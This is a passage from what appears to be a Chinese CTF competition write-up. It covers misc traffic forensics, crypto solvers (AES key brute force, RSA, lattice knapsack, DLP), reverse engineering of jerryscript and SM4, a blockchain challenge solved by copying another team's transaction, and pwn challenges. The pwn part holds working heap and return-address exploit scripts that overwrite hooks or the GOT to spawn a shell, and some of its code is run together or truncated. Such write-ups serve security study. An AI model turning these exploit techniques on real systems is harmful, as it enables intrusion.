(O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100 OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101 OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102 OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103 OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104 for OO0O0OO0OOO00OOO0 in range (19 ):#line:105 OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106 return OO0000O000OOO0OOO #line:108 if __name__ =='__main__':#line:111 embedded =cv2 .imread ('embedded.png')#line:117 wm =WatermarkExtract (embedded )#line:118 extart =wm .decode1 (embedded )#line:119 cv2 .imshow ('extart',extart )#line:121 cv2 .waitKey (0 )#line:1224.super_electricmisc+re+crypto 只能说re和密码是牛逼的 流量分析,MMS流量,直接追踪TCP,发现盲点 一眼顶针,是MZ文件头的exe程序,仔细看一眼,是octet-string字段存储的, 然后导出csv,编写脚本即可 import csv from hashlib import new list1 = [] with open('dump.csv') as f: reader = csv.reader(f) for row in reader: list1.append(row) newlist = [] for i in range(1,len(list1)-1): if len(list1[i][6]) == 16: newlist.append(list1[i][6]) strings = ''.join(newlist) #hex转换,保存为exe with open('1.exe', 'wb') as f: f.write(bytes.fromhex(strings))拿到文件运行发现是弹窗提示,所以直接在MessageBox下了断点回溯找到校验部分 是明文比对,所以过了第一个校验 然而并没有结束,flag不对,所以在继续找程序的可疑地方即是pack段与mysec段 在pack段的有个函数CRC解密的部分,所以怀疑是个内置的压缩壳 随后经过不断调试与尝试想起start函数可疑的地方,也就是经过第一个校验之后还在运行的地方 于是把程序直接跑到这,跳过去直接dump出来 直接审计一下提取数据手动解密 得到 data1 = [ 0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6, 0xB8, 0xFD, 0xB6] for t in data1: print(chr(t ^ 0x89), end = "") print() data = [ 0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D, 0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A, 0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17, 0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49, 0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E, 0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59, 0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65, 0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E, 0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F, 0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E, 0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C, 0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46, 0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B, 0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF, 0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6, 0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF, 0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4, 0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1, 0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB, 0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1, 0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1, 0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97, 0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96, 0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C, 0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E, 0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A, 0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F, 0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79, 0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40, 0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19, 0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50, 0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16, 0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74, 0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62, 0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D, 0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47, 0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D, 0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08, 0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC, 0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2, 0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8, 0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83, 0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90, 0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD, 0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF, 0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A, 0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97, 0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6, 0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80, 0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB, 0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D, 0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E, 0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B, 0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31, 0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F, 0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05, 0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13, 0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69, 0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67, 0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D, 0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B, 0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41, 0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55, 0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3, 0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9, 0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7, 0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93, 0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4, 0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F, 0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7, 0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6] for i in range(len(data)): print(chr(data[i] ^ i & 0xFF), end = "") # can_U_get_1t? from Crypto.Cipher import AES import binascii import hashlib from hhh import flag assert flag[:5] == 'flag{' and flag[-1:] == '}' key = b'4d9a700010437***' l = len(key) message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10] iv = flag[5:-1] message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8') aes = AES.new(key, AES.MODE_CBC, iv) print(binascii.hexlify(aes.encrypt(message))) #******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2 然后又套了个密码,加点注释。 from Crypto.Cipher import AES import binascii import hashlib from hhh import flag assert flag[:5] == 'flag{' and flag[-1:] == '}' key = b'4d9a700010437***' l = len(key) #16 message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10] iv = flag[5:-1] #flag内容做为iv。 message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8') aes = AES.new(key, AES.MODE_CBC, iv) print(binascii.hexlify(aes.encrypt(message))) #******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2 简单分析一下,首先给了个key,需要爆破,三位,然后密位没给全但是问题不大,可以用来当作校验,最后把明文当成密文来解aes应该就可以了,先爆破一下key 首先key是16进制,内容最多是0-9a-f,所以编写 from email import message from encodings import utf_8 from Crypto.Util.number import * from Crypto.Cipher import AES import binascii import hashlib checknum = 0x3fba64ad7b78676e464395199424302b21b2b17db2 def XOR(a,b): c = [] for i,j in zip(a,b): c.append(i^j) return bytes(c) #16进制 strlist = "0123456789abcdef" for a in strlist: for b in strlist: for c in strlist: key = '4d9a700010437'+a+b+c key = key.encode() l = len(key) #16 message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10] message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8') aes = AES.new(key,AES.MODE_ECB) data1 = long_to_bytes(checknum) check = data1[:-16] #flag{ encode= data1[-16:] #} #decode decode = aes.decrypt(encode)[-5:] if check == XOR(decode,message[-5:]): print(key) break获得key:4d9a7000104376fe 有了key之后就可以带入之前的程序继续计算就行了 #题目给的 key = "4d9a7000104376fe" key = key.encode() l = len(key) #16 message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10] message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8') aes = AES.new(key,AES.MODE_ECB) #clac msg = [] for i in range(6): temp = message[i*16:(i+1)*16] msg.append(temp) msg = msg[::-1] flag = long_to_bytes(checknum)[-16:] for i in range(6): flag = aes.decrypt(flag) flag = XOR(flag, msg[i]) print(flag)5.BearParser非预期上车 区块链,只给了部分代码,一直等上车来着 最开始思路寻思上geth连一下看看,geth attach ip可以链上,并且使用eth.getBlock能获取其他人的交易记录,所以一直等着上车捏 然后发现有队伍一血了,最速使用eth.BlockNumber查看到最新区块到了190, 索性从181一直查到了190(之前区块一直在查,要么是部署,要么是转账和创建账户)直到190块发现了poc,对应一下时间刚好是一血的时间,直接复制input内容 { blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5", blockNumber: 190, from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae", gas: 3000000, gasPrice: 10000000000, hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f", input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000", nonce: 0, r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624", s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589", to: "0xf8af169b2ccde9271fdd004608c624037d58957f", transactionIndex: 0, type: "0x0", v: "0x4593", value: 0合约随便部署个fallback() external{} 就行了然后直接to address部署题目合约,直接transact即可 复制交易txhash值,最后提交 0X03 Crypto1.little little fermat遇事不决去百度代码,发现相似代码 根据 writeup 即可求出 p 和 q 题目提示是小费马,百度即可得到费马小定理 费马小定理 根据费马小定理我们可以从 : assert 114514 ** x % p == 1推出: x = p - 1然后正常解RSA即可: from Crypto.Util.number import * from random import * from libnum import * import gmpy2 from itertools import combinations, chain e = 65537 n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629 9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828 498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 tp = [gmpy2.mpz(1 << i) for i in range(512)] it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) for cf in it: A = -sum([tp[i] for i in cf]) D = A**2 + 4 * n if gmpy2.is_square(D): d = gmpy2.isqrt(D) p = (-A + d) // 2 q = n // p break x=p-1 d = pow(e, -1, (p - 1) * (q - 1)) m=pow(c, d, n) print(pow(c, d, n)) print(long_to_bytes(m^(x**2)))2.common_rsa利用在线分解直接出p,q。 然后常规 RSA 解密即可: import libnum from Crypto.Util.number import long_to_bytes c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519 n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409 e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165 q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587 p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907 d = libnum.invmod(e, (p - 1) * (q - 1)) m = pow(c, d, n) print(long_to_bytes(m))(不理解这道题为什么没多少人做, 当时做的时候看到 e 很大想到了维纳攻击,但没想到网上可以直接查到 n 的分解,也就没有进一步分解代码直接解了) (有点感觉非预期?) 3.tracing(这道题秋风提供了核心求解 phi 的思路,然后我就直接把剩下的 RSA 解密一把梭了) 这道题的 pq 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 gcd 函数的操作过程可以直接倒推出 phi import libnum from Crypto.Util.number import long_to_bytes n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301 c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102 e = 65537 tag1 = 1 tag2 = 0 F = open("trace.out","r") arr = F.readlines() for i in arr[::-1]: if "a = a - b" in i: tag1 = tag1 + tag2 #print(tag1) #print(tag2) if "a, b = b, a" in i: tag1, tag2 = tag2, tag1 #print(tag1) #print(tag2) if "a = rshift1(a)"in i: tag1 = tag1 << 1 #print(tag1) #print(tag2) if "b = rshift1(b)" in i: tag2 = tag2 << 1 #print(tag1) #print(tag2) phi = tag1 #print(phi) d = libnum.invmod(e, phi) m = pow(c, d, n) print(long_to_bytes(m)) 4.fill利用lcg的三组连续输出求出参数m和c,从而得到整个序列s,反求出序列M;然后就是一个背包的破解,lll算法求最短向量即可,构造方式参考:https://www.ruanx.net/lattice-2/,exp:M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]S = 492226042629702n = len(M)L = matrix.zero(n + 1) for row, x in enumerate(M): L[row, row] = 2 L[row, -1] = x L[-1, :] = 1L[-1, -1] = Sres = L.LLL()print(res)# pythonfrom Crypto.Util.number import *from hashlib import *nbits = 32M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]s0,s1,s2 = 562734112,859151551,741682801n = 991125622m = (s2-s1)*inverse(s1-s0,n)%nc = (s1-s0*m)%ns = [0] * nbitss[0] = s0for i in range(1, nbits): s[i] = (s[i-1]*m+c)%nprint(s)for t in range(nbits): M[t] = M[t] - s[t]print(M)# 注意是反向量short = '00101000011000010001000010011011'short2 = ''for i in short: if i == '0': short2 = short2 + '1' else: short2 = short2 +'0'print(short2)print(len(short2))num = int(short2,2)print(sha256(str(num).encode()).hexdigest()) 5.babyDLPCryptoCTF2022的原题side step,参考春哥的解法:https://zhuanlan.zhihu.com/p/546270351,exp需要修改两个地方,1是if (‘Great!’ in a):需要加上b,其次是a = a[9:]改为a = a[8:] 。然后直接打即可:from pwn import *from sage.all import *from Crypto.Util.number import * class Gao: def __init__(self): self.con = remote('101.201.71.136', 16265) self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1 self.s_high = 1 self.Zp = Zmod(self.p) def gao_check(self): self.con.sendline('T') ans = self.Zp(4).nth_root(self.s_high) print('Guessing: {}'.format(ans)) self.con.sendline(str(ans)) self.con.recvuntil('integer: \n') a = self.con.recvline() if (b'Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: return False def gao_one(self): self.con.sendline(b'T') ans = self.Zp(2).nth_root(self.s_high) self.con.sendline(str(ans)) self.con.recvuntil(b'integer: \n') a = self.con.recvline() if (b'Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: a = a[8:] t, r = eval(a) self.s_high <<= 1 if (t == 0): self.s_high |= 1 self.t = 1 - t #print('{:b}'.format(self.s_high)) return False def gao(self): while (True): if (self.gao_one()): break if (self.t == 1): if (self.gao_check()): break def gao_2(self): for i in range(1023): if (self.gao_one()): break else: for i in range(20): self.gao_check() self.s_high >>= 1 if __name__ == '__main__': g = Gao() g.gao_2()目录WebFunWEBezjavaRustwafpwnojsprotocolqueueunexploitablesandboxheapbitheapleakMiscstrange_forensicsRevroketcryptolittle little fermattracingfillbabyDLP 0x04 RE1.engtom下载下来,一看,. snapshot ???懵逼 有点像脚本语言的字节码.. 必应查一下,没出来啥 看导入函数, charCodeAt ,判断是js js有好多实现,要找找是哪种 结合开头 JRRYF 和题目名字里的 tom ,让我想起了猫和老鼠. 这时候看到一个项目,名字叫 jerryscript ,背底是奶酪. 又看到里面源码有解析. snapshot 文件,基本确定了就是他了 配置好环境后,看 help (英语阅读题),看到可以输出 opcode . 输出之,发现 sm4 的常量以及函数名,所以断定是 sm4 . 解密得到结果,用 ctf{}包上就提交了.脚本如下图: 附: ############################################################################## # # # 国产SM4加密算法 # # # ############################################################################## ##根据网上大神的脚本改的 import binascii import struct from gmssl import sm4 def getarr(a): ddd=[] for i in range(len(a)): s=a[i] ddd.append(s&0xff) s>>=8 ddd.append(s&0xff) s>>=8 ddd.append(s&0xff) s>>=8 ddd.append(s&0xff) ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1] return bytes(ddd) class SM4: """ 国产加密 sm4加解密 """ def __init__(self): self.crypt_sm4 = sm4.CryptSM4() # 实例化 def decryptSM4(self, decrypt_key, encrypt_value): """ 国密sm4解密 :param decrypt_key:sm4加密key :param encrypt_value: 待解密的十六进制值 :return: 原字符串 """ crypt_sm4 = self.crypt_sm4 crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT) # 设置密钥 decrypt_value = crypt_sm4.crypt_ecb(encrypt_value) # 开始解密。十六进制类型 return decrypt_value # return self.str_to_hexStr(decrypt_value.hex()) if __name__ == '__main__': key = getarr([19088743,2309737967,4275878552,1985229328]) strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868]) strData=bytes(strData) SM4 = SM4() decData = SM4.decryptSM4(key, strData) print("sm4解密结果:", decData) # 解密后的数据 2.roket测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出 from Crypto.Util.number import long_to_bytesimport gmpy2print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3))#6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7da='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d'for i in range(0,len(a),2): print('0x'+a[i]+a[i+1],end=',')print('flag:')#0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7db=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d]for i in range(len(b)): print(chr(b[i]),end='') 0x04 PWN1.bitheap解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。 from pwn import * sh=process('./sandboxheap') #sh=remote("101.201.71.136 ",30298) p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin elf=ELF(filename) libc=ELF('libc-2.27.so') ch="Your choice:" Size="Size: " Idx="Index:" Con="Content:" def add(idx,size): sh.sendlineafter(ch,str(1)) sh.sendlineafter(Idx,str(idx)) sh.sendlineafter(Size,str(size)) def edit(idx,con): sh.sendlineafter(ch,str(2)) sh.sendlineafter(Idx,str(idx)) sh.sendlineafter(Con,con) def show(idx): sh.sendlineafter(ch,str(3)) sh.sendlineafter(Idx,str(idx)) def delete(idx): sh.sendlineafter(ch,str(4)) sh.sendlineafter(Idx,str(idx)) def edit2(idx,con): sh.sendlineafter(ch,str(2)) sh.sendlineafter(Idx,str(idx)) sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1]) for i in range(0x8): add(i,0x88) add(8,0x58) add(9,0x88) add(10,0x88) for i in range(7): delete(i) delete(7) edit(8,'1'*(0x58*8)) edit(8,'a'*0x58*8) edit(8,'1'*0x50*8+'a'*4+'1'*4) delete(9) for i in range(0x8): add(i,0x88) show(8) libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 success("libc_base = "+hex(libc_base)) add(9,0x68) delete(10) for i in range(7): delete(i) for i in range(0x7): add(i,0x68) delete(3) delete(4) delete(5) delete(6) delete(1) delete(2) delete(8) show(9) sh.recvuntil("Content: ") heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860 success("heap_base = "+hex(heap_base)) free_hook = libc_base + libc.sym['__free_hook'] ret = libc_base + 0x00000000000008aa # ret pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret pop_rdx_ret = libc_base + 0x0000000000001b96# malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10 realloc=libc_base+libc.symbols['__libc_realloc'] one=libc_base+0x4f302 add(1,0x68) add(2,0x68) edit(2,p64(0)+p64(one)+p64(realloc+2)) add(3,0x10) sh.interactive() 2.unexploitable第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求 from pwntools import * init("./unexploitable") def pwn(): s(b"\x00"*0x18 + p8(0xd1) + p8(0x07)) # dbg() # time.sleep(5) s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34)) sl("ls") tmp = pwnio.io.recv(1,timeout=1) print(tmp) if not tmp or tmp==b'*': raise ia() hack(pwn,cls=False) # pwn() 脸黑,和队友开了两个靶机爆破了两天...队友脸白,穿了 3.ojs查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead 比对源码可知,新增了方法charTo: 逆一下,str.charTo(offset, val)代表将字符串str偏移offset(可正可负)处改为val。 可越界写的条件是字符串str的长度为3,且当val = 17的时候,会返回存放str自身的堆块地址(结合动态调试)。 由于本题没开PIE保护,且got表可写: 所以其实任意写的思路很显然:先泄露出str自身堆块地址,然后就能用其与某got表地址的差值通过charTo任意写got表了。 泄露libc的思路也不难想到,可以将初始长度为3的str后面的\x00不断覆盖掉,这样就能泄露后面内存中的libc地址了,这里其实也可以泄露出堆块地址。 不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下,得到是60*8的偏移处,然后得到了libc地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printf的got表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。 